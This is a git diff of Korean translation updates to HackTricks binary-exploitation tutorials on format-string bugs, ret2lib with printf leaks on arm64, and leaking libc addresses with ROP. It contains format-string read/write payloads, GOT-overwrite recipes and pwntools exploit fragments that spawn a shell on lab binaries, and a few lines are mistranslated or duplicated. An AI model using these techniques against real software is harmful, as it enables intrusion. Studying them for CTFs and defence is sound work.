diff --git a/binary-exploitation/format-strings/README.md b/binary-exploitation/format-strings/README.md
index 9a79800c3..84f07d55e 100644
--- a/binary-exploitation/format-strings/README.md
+++ b/binary-exploitation/format-strings/README.md
@@ -1,26 +1,29 @@
-# 포맷 문자열
+# Format Strings
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!
+Support HackTricks
-* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에 광고하고 싶으세요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으세요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
-* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
-* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **해킹 트릭을 공유하고 싶으세요?** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## 기본 정보
+## Basic Information
-C 언어에서 **`printf`**는 **문자열을 출력하는 데 사용할 수 있는 함수**입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **포매터가 있는 원시 텍스트**입니다. 기대되는 **다음 매개변수**는 원시 텍스트에서 **포매터를 대체할 값**입니다.
+C에서 **`printf`**는 문자열을 **출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **형식 지정자가 포함된 원시 텍스트**입니다. 이 원시 텍스트의 **형식 지정자**를 **대체**할 **값**이 **다음 매개변수**로 기대됩니다.
다른 취약한 함수로는 **`sprintf()`**와 **`fprintf()`**가 있습니다.
-취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf 포맷 문자열 기능을 악용하여 특수 입력을 조작**하여 **모든 주소의 데이터를 읽고 쓸 수 있습니다(읽기/쓰기 가능)**. 이렇게 함으로써 **임의의 코드를 실행**할 수 있습니다.
+취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf 형식** 문자열 기능을 악용하여 **특별한 입력**을 만들어 **읽을 수 있는/쓸 수 있는** 모든 주소에서 **데이터를 읽고 쓸 수** 있습니다. 이렇게 해서 **임의의 코드를 실행**할 수 있습니다.
-#### 포맷터:
+#### Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
@@ -31,20 +34,20 @@ C 언어에서 **`printf`**는 **문자열을 출력하는 데 사용할 수 있
%hn —> Occupies 2 bytes instead of 4
$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
-**예시:**
+**예시:**
-* 취약한 예제:
+* 취약한 예시:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
-* 일반적인 사용:
+* 일반 사용:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
-* 누락된 인수가 있는 경우:
+* 인수가 누락된 경우:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
@@ -63,27 +66,27 @@ return 0;
```
### **포인터 접근**
-형식 **`%$x`**, 여기서 `n`은 숫자로, printf에게 n번째 매개변수(스택에서)를 선택하도록 지시할 수 있습니다. 따라서 printf를 사용하여 스택에서 4번째 매개변수를 읽고 싶다면 다음과 같이 할 수 있습니다:
+형식 **`%$x`**에서 `n`은 숫자로, printf에 스택에서 n번째 매개변수를 선택하도록 지시합니다. 따라서 printf를 사용하여 스택에서 4번째 매개변수를 읽고 싶다면 다음과 같이 할 수 있습니다:
```c
printf("%x %x %x %x")
```
그리고 첫 번째부터 네 번째 매개변수까지 읽을 수 있습니다.
-또는 다음을 수행할 수 있습니다:
+또는 다음과 같이 할 수 있습니다:
```c
printf("$4%x")
```
-그리고 직접 네 번째를 읽으십시오.
+and read directly the forth.
-공격자가 `pr`**`intf` 매개변수를 제어한다는 점에 유의하십시오.** 이는 공격자의 입력이 `printf`가 호출될 때 스택에 있을 것을 의미하며, 이는 그가 스택에 특정 메모리 주소를 쓸 수 있다는 것을 의미합니다.
+공격자가 `pr`**`intf` 매개변수를 제어한다는 점에 유의하세요. 이는 기본적으로** 그의 입력이 `printf`가 호출될 때 스택에 있을 것임을 의미하며, 이는 그가 스택에 특정 메모리 주소를 쓸 수 있음을 의미합니다.
{% hint style="danger" %}
-이 입력을 제어하는 공격자는 **임의의 주소를 스택에 추가하고 `printf`가 그에 접근하도록** 만들 수 있습니다. 다음 섹션에서 이 동작을 사용하는 방법에 대해 설명될 것입니다.
+이 입력을 제어하는 공격자는 **스택에 임의의 주소를 추가하고 `printf`가 이를 접근하게 만들 수 있습니다**. 다음 섹션에서는 이 동작을 사용하는 방법에 대해 설명합니다.
{% endhint %}
-## **임의의 읽기**
+## **임의 읽기**
-포맷터 **`%n$s`**를 사용하여 **`printf`**가 **n 위치**에 있는 **주소**를 가져와 그 뒤를 따라가서 **문자열처럼 출력**할 수 있습니다(0x00이 발견될 때까지 출력). 따라서 이진 파일의 기본 주소가 **`0x8048000`**이고, 사용자 입력이 스택의 4번째 위치에서 시작한다는 것을 알고 있다면, 이진 파일의 시작을 다음과 같이 출력할 수 있습니다:
+형식 지정자 **`%n$s`**를 사용하여 **`printf`**가 **n 위치**에 있는 **주소**를 가져오고 **문자열처럼 출력**할 수 있습니다(0x00이 발견될 때까지 출력). 따라서 바이너리의 기본 주소가 **`0x8048000`**이고, 사용자 입력이 스택의 4번째 위치에서 시작된다는 것을 알고 있다면, 다음과 같이 바이너리의 시작 부분을 출력할 수 있습니다:
```python
from pwn import *
@@ -97,16 +100,16 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
-주소 0x8048000을 입력의 시작 부분에 넣을 수 없습니다. 왜냐하면 해당 주소의 끝에 0x00이 cat될 것이기 때문입니다.
+입력의 시작 부분에 0x8048000 주소를 넣을 수 없다는 점에 유의하세요. 문자열은 해당 주소의 끝에서 0x00으로 잘리기 때문입니다.
{% endhint %}
### 오프셋 찾기
-입력의 오프셋을 찾으려면 4 또는 8바이트(`0x41414141`)를 보낸 다음 **`%1$x`**를 뒤에 붙이고 `A's`를 검색할 때까지 값을 **증가**시킬 수 있습니다.
+입력의 오프셋을 찾기 위해 4 또는 8 바이트(`0x41414141`)를 보낸 다음 **`%1$x`**를 추가하고 **값을 증가시켜** `A's`를 검색할 수 있습니다.
-printf 오프셋 브루트 포스
+브루트 포스 printf 오프셋
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@@ -137,45 +140,45 @@ p.close()
```
-### 얼마나 유용한가요
+### 얼마나 유용한가
-임의의 읽기는 다음과 같은 용도로 유용할 수 있습니다:
+임의 읽기는 다음에 유용할 수 있습니다:
-- 메모리에서 **바이너리를 덤프**합니다.
-- 민감한 정보가 저장된 메모리의 특정 부분에 **액세스**합니다(예: canaries, 암호화 키 또는 사용자 지정 암호와 같은 [CTF 챌린지](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)에서).
+* **메모리에서** **바이너리**를 **덤프**하기
+* **민감한** **정보**가 저장된 메모리의 특정 부분에 **접근하기** (예: 이 [**CTF 챌린지**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)와 같이)
-## 임의 쓰기
+## **임의 쓰기**
-포매터 **`$%n`**은 스택의 \ 매개변수에 **지정된 주소**에 **쓰여진 바이트 수**를 **쓰기**합니다. 공격자가 printf로 원하는 만큼 문자를 쓸 수 있다면, **`$%n`**을 사용하여 임의의 숫자를 임의의 주소에 쓸 수 있습니다.
+포맷터 **`$%n`**은 **지정된 주소**에 **쓰기 바이트 수**를 **기록**합니다. 공격자가 printf를 사용하여 원하는 만큼의 문자를 쓸 수 있다면, 그는 **`$%n`**을 사용하여 임의의 숫자를 임의의 주소에 쓸 수 있게 됩니다.
-다행히도, 숫자 9999를 쓰기 위해 입력에 9999개의 "A"를 추가할 필요가 없습니다. **`%.%$n`** 포매터를 사용하여 **``** 숫자를 **`num` 위치가 가리키는 주소**에 쓸 수 있습니다.
+다행히도, 숫자 9999를 쓰기 위해 입력에 9999개의 "A"를 추가할 필요는 없으며, 대신 포맷터 **`%.%$n`**을 사용하여 **``** 숫자를 **`num` 위치가 가리키는 주소**에 쓸 수 있습니다.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
-그러나 주소를 작성할 때 보통 `0x08049724`와 같은 주소를 한 번에 작성하는 대신 **`$n` 대신 `$hn`**을 사용합니다. 이를 통해 **2바이트만 작성**할 수 있습니다. 따라서 이 작업은 주소의 상위 2바이트와 하위 2바이트에 대해 두 번 수행됩니다.
+그러나 일반적으로 `0x08049724`와 같은 주소를 쓰기 위해 (한 번에 쓰기에는 엄청난 숫자입니다), **`$hn`**이 **`$n`** 대신 사용됩니다. 이렇게 하면 **2바이트만 쓸 수 있습니다**. 따라서 이 작업은 주소의 가장 높은 2바이트와 가장 낮은 2바이트에 대해 각각 두 번 수행됩니다.
-따라서 이 취약점을 통해 **임의의 주소에 임의의 내용을 쓸 수 있습니다 (임의 쓰기).**
+따라서 이 취약점은 **임의의 주소에 무엇이든 쓸 수 있게** 합니다.
-이 예에서 목표는 나중에 호출될 **GOT** 테이블의 **함수**의 **주소**를 **덮어쓰는 것**입니다. 이는 다른 임의 쓰기를 실행하는 기술을 악용할 수 있습니다:
+이 예제에서 목표는 **GOT** 테이블의 **함수**의 **주소**를 **덮어쓰는 것**입니다. 이 함수는 나중에 호출될 것입니다. 이는 다른 임의 쓰기를 악용하여 exec 기술을 사용할 수 있습니다:
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
-**사용자**로부터 **인수**를 **받는 함수**의 **주소**를 **`system`** **함수**로 지정할 것입니다.\
-언급한대로 주소를 작성하려면 보통 2단계가 필요합니다: 먼저 주소의 2바이트를 작성한 다음 나머지 2바이트를 작성합니다. 이를 위해 **`$hn`**이 사용됩니다.
+우리는 **사용자**로부터 **인수**를 **받는** **함수**를 **덮어쓰고**, 이를 **`system`** **함수**를 가리키도록 할 것입니다.\
+언급했듯이 주소를 쓰기 위해서는 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 쓰고, 그 다음에 나머지 2바이트를 씁니다. 이를 위해 **`$hn`**이 사용됩니다.
-* **HOB**는 주소의 상위 2바이트를 가리킵니다.
-* **LOB**는 주소의 하위 2바이트를 가리킵니다.
+* **HOB**는 주소의 2 높은 바이트를 호출합니다.
+* **LOB**는 주소의 2 낮은 바이트를 호출합니다.
-그런 다음, 형식 문자열이 작동하는 방식 때문에 \[HOB, LOB] 중 **먼저 작은 값을 작성**한 다음 다른 값을 작성해야 합니다.
+그런 다음, 포맷 문자열의 작동 방식 때문에 **먼저 가장 작은** \[HOB, LOB]를 쓰고 그 다음에 다른 것을 써야 합니다.
-만약 HOB < LOB이면\
-`[주소+2][주소]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
+HOB < LOB\
+`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
-만약 HOB > LOB이면\
-`[주소+2][주소]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
+HOB > LOB\
+`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
@@ -187,13 +190,13 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
### Pwntools 템플릿
-이러한 취약점을 이용한 exploit을 준비하기 위한 **템플릿**을 다음에서 찾을 수 있습니다:
+이러한 종류의 취약점을 위한 익스플로잇을 준비할 **템플릿**을 다음에서 찾을 수 있습니다:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
-또는 [**여기**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)에서 제공하는 기본 예제를 참고하세요:
+또는 [**여기**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)에서 이 기본 예제를 확인하세요:
```python
from pwn import *
@@ -214,16 +217,31 @@ p.interactive()
```
## Format Strings to BOF
-서식 문자열 취약점의 쓰기 동작을 악용하여 **스택의 주소에 쓰기**하고 **버퍼 오버플로우** 유형의 취약점을 악용할 수 있습니다.
+형식 문자열 취약점의 쓰기 작업을 악용하여 **스택의 주소에 쓰기** 및 **버퍼 오버플로우** 유형의 취약점을 악용할 수 있습니다.
-## 다른 예제 및 참고 자료
+## Other Examples & References
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
-* 32비트, relro 없음, 캐너리 없음, nx, pie 없음, 스택에서 플래그를 누출하기 위한 기본적인 서식 문자열 사용 (실행 흐름 변경 필요 없음)
+* 32비트, no relro, no canary, nx, no pie, 스택에서 플래그를 누출하기 위한 형식 문자열의 기본 사용 (실행 흐름을 변경할 필요 없음)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
-* 32비트, relro, 캐너리 없음, nx, pie 없음, `fflush` 주소를 win 함수로 덮어쓰기 위한 서식 문자열 (ret2win)
+* 32비트, relro, no canary, nx, no pie, win 함수로 `fflush` 주소를 덮어쓰는 형식 문자열 (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
-* 32비트, relro, 캐너리 없음, nx, pie 없음, `.fini_array` 내부의 main 주소에 주소를 쓰기 위한 서식 문자열 (흐름이 1번 더 루프되도록) 및 `strlen`을 가리키는 GOT 테이블에 `system` 주소를 쓰기. 흐름이 main으로 돌아가면 사용자 입력과 함께 `strlen`이 실행되고 `system`을 가리키므로 전달된 명령을 실행합니다.
+* 32비트, relro, no canary, nx, no pie, `.fini_array` 내의 main에 있는 주소를 쓰기 위한 형식 문자열 (흐름이 한 번 더 루프됨) 및 `strlen`을 가리키는 GOT 테이블의 `system` 주소를 쓰기. 흐름이 main으로 돌아가면, `strlen`이 사용자 입력으로 실행되고 `system`을 가리키면, 전달된 명령이 실행됩니다.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
index b518ab02c..390e4220f 100644
--- a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
@@ -1,20 +1,21 @@
# Ret2lib + Printf leak - arm64
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요!
+HackTricks 지원하기
-다른 HackTricks 지원 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
-## Ret2lib - NX 우회를 통한 ROP (ASLR 없음)
+## Ret2lib - ROP를 이용한 NX 우회 (ASLR 없음)
```c
#include
@@ -31,7 +32,8 @@ printfleak();
bof();
}
```
-캐너리 없이 컴파일하기:
+Compile without canary:
+캔디 없이 컴파일:
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
@@ -41,31 +43,31 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
### x30 오프셋
-**`pattern create 200`**을 사용하여 패턴을 생성하고 해당 패턴을 사용하여 **`pattern search $x30`**으로 오프셋을 확인하면 오프셋이 **`108`** (0x6c)임을 알 수 있습니다.
+**`pattern create 200`**으로 패턴을 생성하고, **`pattern search $x30`**로 오프셋을 확인하면 오프셋이 **`108`** (0x6c)임을 알 수 있습니다.
-메인 함수를 확인하면 이진 파일이 로드된 위치로부터 **`printf`**로 직접 이동하는 명령어로 **점프**하고 싶어하는 것을 알 수 있습니다. **`printf`**까지의 오프셋은 **`0x860`**입니다.
+분해된 main 함수를 살펴보면 **`printf`**로 직접 점프하는 명령어로 **점프**하고 싶다는 것을 알 수 있으며, 이진 파일이 로드된 위치에서의 오프셋은 **`0x860`**입니다:
### system 및 `/bin/sh` 문자열 찾기
-ASLR이 비활성화되어 있으므로 주소는 항상 동일합니다.
+ASLR이 비활성화되어 있으므로 주소는 항상 동일합니다:
### 가젯 찾기
-**`x0`**에 **`/bin/sh`** 문자열 주소를 가져와야 하며 **`system`**을 호출해야 합니다.
+**`x0`**에 문자열 **`/bin/sh`**의 주소를 두고 **`system`**을 호출해야 합니다.
-rooper를 사용하여 흥미로운 가젯을 찾았습니다:
+rooper를 사용하여 흥미로운 가젯이 발견되었습니다:
```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
```
-이 가젯은 `$sp + 0x18`에서 `x0`을 로드한 다음 sp에서 x29 및 x30 주소를 로드하여 x30으로 점프합니다. 따라서 이 가젯을 사용하여 **첫 번째 인자를 제어한 다음 system으로 점프**할 수 있습니다.
+이 가젯은 **`$sp + 0x18`**에서 `x0`를 로드한 다음, sp에서 x29와 x30의 주소를 로드하고 x30으로 점프합니다. 따라서 이 가젯을 사용하여 **첫 번째 인수를 제어한 다음 system으로 점프할 수 있습니다**.
-### 공격
+### Exploit
```python
from pwn import *
from time import sleep
@@ -95,7 +97,7 @@ p.sendline(payload)
p.interactive()
p.close()
```
-## Ret2lib - NX, ASL 및 PIE 우회 방법: 스택에서 printf 누출
+## Ret2lib - NX, ASL & PIE 우회와 스택에서의 printf leak
```c
#include
@@ -121,16 +123,17 @@ bof();
}
```
-**캐너리 없이 컴파일하기**:
+Compile **without canary**:
+컴파일 **canary 없이**:
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
-### PIE 및 ASLR이지만 캐너리는 없음
+### PIE와 ASLR, 그러나 카나리 없음
-* 라운드 1:
+* 1라운드:
* 스택에서 PIE 누출
-* main으로 돌아가기 위해 bof 악용
-* 라운드 2:
+* bof를 악용하여 main으로 돌아감
+* 2라운드:
* 스택에서 libc 누출
* ROP: ret2system
@@ -140,27 +143,27 @@ printf를 호출하기 전에 중단점을 설정하면 스택에 이진 파일
-다양한 오프셋을 시도하면 **`%21$p`**가 이진 주소를 누출할 수 있습니다 (PIE 우회) 그리고 **`%25$p`**가 libc 주소를 누출할 수 있습니다:
+다양한 오프셋을 시도해보면, **`%21$p`**는 이진 주소(PIE 우회)를 누출할 수 있고, **`%25$p`**는 libc 주소를 누출할 수 있습니다:
-libc 누출된 주소에서 libc의 베이스 주소를 뺀 후, **누출된 주소의 오프셋은 `0x49c40`임을 확인할 수 있습니다.**
+누출된 libc 주소에서 libc의 기본 주소를 빼면, **기본 주소에서 누출된 주소의 오프셋은 `0x49c40`임을 알 수 있습니다.**
### x30 오프셋
-이전 예제와 동일한 bof를 사용하므로 참조하십시오.
+이전 예제를 참조하세요, bof는 동일합니다.
### 가젯 찾기
-이전 예제와 마찬가지로 **`x0`**에 문자열 **`/bin/sh`**의 주소를 넣고 **`system`**을 호출해야 합니다.
+이전 예제와 마찬가지로, **`x0`**에 문자열 **`/bin/sh`**의 주소를 두고 **`system`**을 호출해야 합니다.
-rooper를 사용하여 다른 흥미로운 가젯을 찾을 수 있었습니다:
+rooper를 사용하여 또 다른 흥미로운 가젯이 발견되었습니다:
```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
```
-### Exploit
+이 가젯은 **`$sp + 0x78`**에서 `x0`를 로드한 다음, sp에서 x29와 x30의 주소를 로드하고 x30으로 점프합니다. 따라서 이 가젯을 사용하여 **첫 번째 인수를 제어한 다음 system으로 점프할 수 있습니다**.
-이 가젯은 `$sp + 0x78`에서 `x0`을 로드한 다음 sp에서 x29 및 x30 주소를 로드하여 x30으로 점프합니다. 따라서이 가젯을 사용하여 **첫 번째 인수를 제어한 다음 system으로 점프**할 수 있습니다.
+### Exploit
```python
from pwn import *
from time import sleep
@@ -210,16 +213,17 @@ p.sendline(payload)
p.interactive()
```
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-영웨이에스 해킹을 제로부터 전문가까지 배우세요htARTE (HackTricks AWS Red Team Expert)!
+HackTricks 지원하기
-다른 방법으로 HackTricks를 지원하는 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
-* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
index 2b28f1155..145620ec4 100644
--- a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
@@ -1,34 +1,35 @@
-# ROP을 사용하여 libc 주소 누출
+# ROP을 이용한 libc 주소 유출
+
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 처음부터 전문가까지 배우세요!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 홍보하거나 PDF로 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소를 확인하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
-## 빠른 요약
+## 간단한 요약
-1. **오버플로우 오프셋** 찾기
-2. `POP_RDI` 가젯, `PUTS_PLT` 및 `MAIN` 가젯 찾기
-3. 이전 가젯을 사용하여 puts 또는 다른 libc 함수의 메모리 주소를 **누출**하고 **libc 버전을 찾기** ([다운로드](https://libc.blukat.me))
-4. 라이브러리를 사용하여 ROP를 계산하고 이를 악용하기
+1. **오버플로우 오프셋 찾기**
+2. **`POP_RDI` 가젯, `PUTS_PLT` 및 `MAIN` 가젯 찾기**
+3. 이전 가젯을 사용하여 puts 또는 다른 libc 함수의 **메모리 주소를 유출하고** **libc 버전 찾기** ([다운로드하기](https://libc.blukat.me))
+4. 라이브러리를 사용하여 **ROP를 계산하고 이를 이용해 공격하기**
-## 연습할 다른 자습서 및 이진 파일
+## 연습할 다른 튜토리얼 및 바이너리
